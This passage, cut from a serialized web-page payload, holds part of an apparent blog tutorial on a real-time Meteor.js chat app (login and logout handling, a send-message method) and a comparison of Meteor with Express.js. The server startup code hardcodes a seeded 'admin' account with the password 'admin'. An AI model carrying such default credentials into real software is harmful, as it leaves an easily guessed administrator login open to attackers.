username,\n        password,\n      },\n      (err) => {\n        if (err) {\n          alert(err);\n        }\n      }\n    );\n  },\n});\n",[612,12919,12917],{"__ignoreMap":66},[11,12921,12642,12922,12925],{},[20,12923,12924],{},"imports\u002Fui\u002FChat\u002FChat.html","” file, we will check if the user is logged in and add a logout button:",[605,12927,12930],{"className":12928,"code":12929,"language":610},[608],"\u003Cbody>\n    {{#if isUserLogged}} {{> chatContainer}} {{else}} {{> authContainer}} {{\u002Fif}}\n\u003C\u002Fbody>\n\n...\n    \u003Cdiv class=\"chat-header\">\n        \u003Ch2>Simple Chat Meteor\u003C\u002Fh2>\n        \u003Cbutton id=\"logout\">Logout\u003C\u002Fbutton>\n    \u003C\u002Fdiv>\n...\n",[612,12931,12929],{"__ignoreMap":66},[11,12933,12642,12934,12936],{},[20,12935,12780],{},"” file, we will check if the user is logged in and handle the logout:",[605,12938,12941],{"className":12939,"code":12940,"language":610},[608],"import \"..\u002FAuth\u002FAuth.js\"\n...\nTemplate.body.helpers({\n  isUserLogged() {\n    return !!Meteor.userId() && !Meteor.loggingIn();\n  },\n});\n\nTemplate.body.events({\n  \"click #sendMessage\": function () {\n    const messageElement = document.querySelector(\"#message\");\n    if (messageElement.value.trim()) {\n      Meteor.call(\"chats.sendMessage\", messageElement.value.trim());\n      messageElement.value = \"\";\n    }\n  },\n  \"click #logout\": function () {\n    Meteor.logout();\n  },\n});\n",[612,12942,12940],{"__ignoreMap":66},[11,12944,12642,12945,12947,12948,12950,12951,12954],{},[20,12946,12792],{},"” file, check and add an “admin\" account if it doesn't exist, and add a “",[51,12949,12716],{},"\" for the default “",[51,12952,12953],{},"message","\":",[605,12956,12959],{"className":12957,"code":12958,"language":610},[608],"import { Meteor } from \"meteor\u002Fmeteor\";\nimport '\u002Fimports\u002Fapi\u002FChatsMethods';\nimport '\u002Fimports\u002Fapi\u002FChatsPublications';\nimport { ChatsCollection } from \"\u002Fimports\u002Fapi\u002FChatsCollection\";\nimport { Accounts } from 'meteor\u002Faccounts-base';\n\nconst SEED_USERNAME = \"admin\";\nconst SEED_PASSWORD = \"admin\";\n\nMeteor.startup(() => {\n  if (!Accounts.findUserByUsername(SEED_USERNAME)) {\n    Accounts.createUser({\n      username: SEED_USERNAME,\n      password: SEED_PASSWORD,\n    });\n  }\n\n  const user = Accounts.findUserByUsername(SEED_USERNAME);\n\n  if (ChatsCollection.find().count() === 0) {\n    ChatsCollection.insert({\n      messageText: 'Welcome to the chat app!',\n      createdAt: new Date(),\n      username: user.username,\n    });\n  }\n});\n",[612,12960,12958],{"__ignoreMap":66},[11,12962,12963,12964,12967,12968,12971,12972,12737],{},"Similarly, add a “",[51,12965,12966],{},"username”"," for the “",[51,12969,12970],{},"sendMessage”"," method in the “",[20,12973,12974],{},"imports\u002Fapi\u002FChatsMethods.js",[605,12976,12979],{"className":12977,"code":12978,"language":610},[608],"import { Meteor } from 'meteor\u002Fmeteor';\nimport { ChatsCollection } from \".\u002FChatsCollection\";\n\nMeteor.methods({\n  'chats.sendMessage'(message) {\n    const username = Meteor.user()?.username;\n\n    ChatsCollection.insert({\n      messageText: message,\n      createdAt: new Date(),\n      username: username\n    });\n  }\n});\n",[612,12980,12978],{"__ignoreMap":66},[11,12982,12983],{},"Let's see the results now:",[438,12985],{"className":12986,"alt":66,"src":12987,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19172343\u002Fimg06.png",[11,12989,12990],{},[51,12991,12992],{},"Before logging in, the Login screen is displayed.",[438,12994],{"className":12995,"alt":66,"src":12996,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19172346\u002Fimg07.png",[11,12998,12999],{},[51,13000,13001],{},"The Sign-up screen.",[438,13003],{"className":13004,"alt":66,"src":13005,"style":444},[441,442,4513],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19172349\u002Fimg08.png",[395,13007,13009],{"id":13008},"comparing-with-expressjs","Comparing with Express.js",[565,13011,13013],{"id":13012},"scalability","Scalability",[31,13015,13016,13021],{},[34,13017,13018,13020],{},[20,13019,12481],{},": Offering a “model kit” with built-in features and components, Meteor.js makes the development process quicker and easier. However, this can limit customization and scalability in some large projects.",[34,13022,13023,13026],{},[20,13024,13025],{},"Express.js",": As a flexible framework, Express.js provides an environment that allows developers the freedom to build their application structure as desired, making it ideal for large and complex projects with high scalability requirements.",[565,13028,13030],{"id":13029},"real-time-communication","Real-Time Communication",[31,13032,13033,13038],{},[34,13034,13035,13037],{},[20,13036,12481],{},": Equipped with built-in real-time communication between client and server, it ensures data is updated instantly without needing to reload the page.",[34,13039,13040,13042],{},[20,13041,13025],{},": Achieving similar functionality requires integration with third-party libraries, adding to the development effort.",[565,13044,13046],{"id":13045},"database-integration","Database Integration",[31,13048,13049,13054],{},[34,13050,13051,13053],{},[20,13052,12481],{},": Tightly integrated with MongoDB and optimized for its use, making data management straightforward but limiting database choices.",[34,13055,13056,13058],{},[20,13057,13025],{},": Supports connection with a variety of databases, from MySQL to MongoDB, allowing flexibility based on project needs.",[565,13060,13062],{"id":13061},"community-and-ecosystem","Community and Ecosystem",[31,13064,13065,13070],{},[34,13066,13067,13069],{},[20,13068,12481],{},": Although the community is smaller, it still offers sufficient packages and tools to support development needs.",[34,13071,13072,13074],{},[20,13073,13025],{},": Has a large and diverse community with thousands of libraries and tools, providing many options to expand and enhance applications.",[565,13076,13078],{"id":13077},"development-speed-and-learning-difficulty","Development Speed and Learning Difficulty",[31,13080,13081,13086],{},[34,13082,13083,13085],{},[20,13084,12481],{},": Accelerates application development by integrating many functions, reducing configuration and management work. The learning path is relatively accessible and suitable for beginners.",[34,13087,13088,13090],{},[20,13089,13025],{},": Offers a flexible and highly customizable approach, which might take more time to set up but benefits long-term project development. Requires an understanding of Node.js and how to integrate middleware, suitable for experienced developers.",[395,13092,3698],{"id":3697},[11,13094,13095],{},"From the analysis above, it’s clear that Express.js and Meteor both have their distinct advantages and disadvantages, suitable for different types of projects and development needs:",[11,13097,13098,13100],{},[20,13099,13025],{}," is a good choice for projects requiring high customization and scalability. It’s especially suited for complex projects, diverse in database requirements, and demands a large ecosystem with many library and tool options.",[11,13102,13103,13104,13106],{},"Conversely, ",[20,13105,12481],{}," is the perfect choice for rapid and easy development, especially for real-time applications and small to medium projects that rely on MongoDB. It suits developers wanting to quickly deploy ideas without spending too much time on configuration and infrastructure management.",[11,13108,13109],{},"In summary, choosing between Express.js and Meteor depends on the specific requirements of the project, the skills, and experience of the development team, as well as the goals and timeline of the project. Both technologies have their unique strengths, and choosing the right technology will play a significant part in the project's success.",[395,13111,2891],{"id":2890},[11,13113,13114],{},[55,13115,13116],{"href":13116,"rel":13117},"https:\u002F\u002Fdocs.meteor.com",[59],[11,13119,13120],{},[55,13121,13122],{"href":13122,"rel":13123},"https:\u002F\u002Fwww.blazejs.org",[59],[11,13125,13126],{},[55,13127,13128],{"href":13128,"rel":13129},"https:\u002F\u002Fexpressjs.com",[59],{"title":66,"searchDepth":67,"depth":67,"links":13131},[13132,13133],{"id":12439,"depth":67,"text":12440},{"id":12474,"depth":67,"text":12475,"children":13134},[13135,13136,13137,13138,13139],{"id":13012,"depth":1306,"text":13013},{"id":13029,"depth":1306,"text":13030},{"id":13045,"depth":1306,"text":13046},{"id":13061,"depth":1306,"text":13062},{"id":13077,"depth":1306,"text":13078},"HOANG PHAN THANH","2025-03-31","Meteor (Meteor.js) is a JavaScript Full-Stack framework built on Node.js. It helps in developing web and mobile applications quickly and efficiently. With its design optimized for smooth integration between the client and server, Meteor not only simplifies the process of sharing code but also enhances the experience with real-time data. If you're looking for a quick app development solution or want to expand your knowledge of modern web technologies, this article will give you a comprehensive and deep understanding of Meteor.",{},"\u002Fnews\u002Fxay-dung-ung-dung-chat-realtime-voi-framework-meteor-js",{"title":12370,"description":13142},"news\u002Fxay-dung-ung-dung-chat-realtime-voi-framework-meteor-js","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F20083445\u002Fmeteor-logo-2.png","x15oSdX0HoCXAEIt79IK_x9jUbOnOsqMphORMPWHdL4",1780392443791]